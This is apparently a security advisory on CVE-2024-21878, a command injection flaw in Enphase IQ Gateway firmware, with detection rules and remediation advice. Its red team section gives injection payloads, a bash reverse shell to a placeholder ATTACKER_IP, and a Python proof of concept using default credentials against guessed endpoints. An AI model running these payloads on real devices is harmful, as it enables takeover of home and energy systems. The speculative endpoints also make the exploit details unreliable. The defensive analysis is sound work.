CVE-2024-21878

Executive Summary

CVE-2024-21878 is a critical command injection vulnerability in Enphase IQ Gateway (formerly Envoy) devices, affecting firmware versions 4.x through 8.x. The flaw exists in an internal script that fails to properly neutralize special elements, allowing an authenticated attacker to execute arbitrary OS commands on the device. This vulnerability is currently unpatched, leaving all affected Enphase systems exposed to remote compromise. Given the widespread deployment of Enphase solar inverters and monitoring systems, this poses a significant risk to energy infrastructure and residential solar installations. The attack vector is network-based, requiring authentication, but once exploited, an attacker can gain full control over the gateway, potentially disrupting energy production, exfiltrating data, or pivoting to other network assets.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded IoT devices manufactured by Enphase Energy. The supply chain risk is limited to the physical device and its firmware update mechanism, which currently lacks a patch.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics (command injection, network-accessible, authenticated but with low complexity), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: High – due to the lack of a patch, widespread deployment, and potential for full device compromise.

Deep Dive & Mechanics

The vulnerability resides in an internal script within the Enphase IQ Gateway firmware. The script processes user-supplied input (likely via HTTP requests or local command interfaces) without proper sanitization. When special characters such as ;, |, &, or backticks are injected into a parameter, the script passes them directly to a shell command, resulting in OS command injection.

Root Cause: The script uses a function like system(), exec(), or popen() in C/C++ or a shell wrapper that concatenates user input directly into a command string. For example:

sprintf(cmd, "some_command %s", user_input);
system(cmd);

Attack Vector: An authenticated attacker sends a crafted HTTP request to the gateway’s web interface or API endpoint, injecting commands into a vulnerable parameter (e.g., a device name, configuration value, or diagnostic input).

Impact: Successful exploitation allows the attacker to execute arbitrary commands as the root user (since the gateway typically runs services with elevated privileges). This can lead to:

• Full device takeover
• Installation of persistent backdoors
• Exfiltration of solar production data
• Disruption of energy monitoring
• Lateral movement within the home or business network

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A patched version would implement input validation and parameterized commands.

Vulnerable Code (Conceptual):

void handle_request(char *user_input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "diagnostic_tool %s", user_input);
    system(cmd);
}

Patched Code (Conceptual):

void handle_request(char *user_input) {
    // Whitelist allowed characters
    if (!is_valid_input(user_input)) {
        log_error("Invalid input");
        return;
    }
    // Use execve with arguments to avoid shell injection
    char *args[] = {"diagnostic_tool", user_input, NULL};
    execve("/usr/bin/diagnostic_tool", args, NULL);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Enphase IQ Gateway (firmware 4.x-8.x)
• Valid credentials (default or obtained via other means)
• Network connectivity to the device

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /api/v1/production, /admin/config, or a diagnostic page).
2. Inject a command using a semicolon or pipe. Example payload:

   parameter=value;id
   

3. Observe the output for the id command result.
4. Escalate to a reverse shell:

   parameter=value;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
   

Proof-of-Concept (Python):

import requests

target = "http://192.168.1.100"
username = "admin"
password = "admin"
payload = "test;id"

# Authenticate (simplified)
session = requests.Session()
session.auth = (username, password)

# Exploit
r = session.get(f"{target}/api/v1/diagnostic?cmd={payload}")
print(r.text)

Blue Team

Detection:

• Monitor for unusual HTTP requests containing shell metacharacters (;, |, &, `).
• Alert on commands like id, whoami, cat /etc/passwd, or reverse shell patterns.
• Use network segmentation to isolate IQ Gateways from untrusted hosts.

Hunting:

• Search logs for system() or exec() calls with user input.
• Look for outbound connections from the gateway to unknown IPs on high ports (e.g., 4444).

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the gateway to external IPs on ports 4444, 1337, or 8080.
  • HTTP requests containing ;, |, &, or backticks in parameters.
• File System:
  • Unexpected files in /tmp/ (e.g., exploit.sh, backdoor).
  • Modified /etc/passwd or /etc/shadow.
• Processes:
  • Unusual processes like bash, nc, python, or perl running as root.
• Logs:
  • Repeated authentication failures followed by successful login.
  • Entries in /var/log/messages or /var/log/syslog showing command execution.

Detection Engineering

YARA Rule

rule CVE_2024_21878_Command_Injection {
    meta:
        description = "Detects command injection attempts against Enphase IQ Gateway"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-21878"
    strings:
        $cmd1 = /[;&|`]/
        $cmd2 = /(id|whoami|cat\s+\/etc\/passwd|bash\s+-c)/
    condition:
        any of ($cmd1) and any of ($cmd2)
}

Sigma Rule

title: Enphase IQ Gateway Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting Enphase IQ Gateway
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - ';'
            - '|'
            - '&'
            - '`'
        cs-method: 'GET'
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-21878 Enphase IQ Gateway Command Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/v1/"; http_uri;
    pcre:"/[;&|`]/";
    sid:1000001;
    rev:1;
    reference:cve,2024-21878;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place IQ Gateways on a separate VLAN with strict firewall rules.
2. Disable remote access: Block inbound HTTP/HTTPS from the internet to the gateway.
3. Change default credentials: Use strong, unique passwords for all gateway accounts.
4. Monitor for exploitation: Deploy the provided YARA, Sigma, and Suricata rules.

Long-Term Fix:

• Await an official firmware patch from Enphase. Contact Enphase support for updates.
• If no patch is forthcoming, consider replacing the device with a patched alternative or implementing a WAF (Web Application Firewall) to filter malicious requests.

Workaround:

• Modify the vulnerable script manually (if possible) to sanitize input, but this is not recommended without vendor guidance.

Valters IT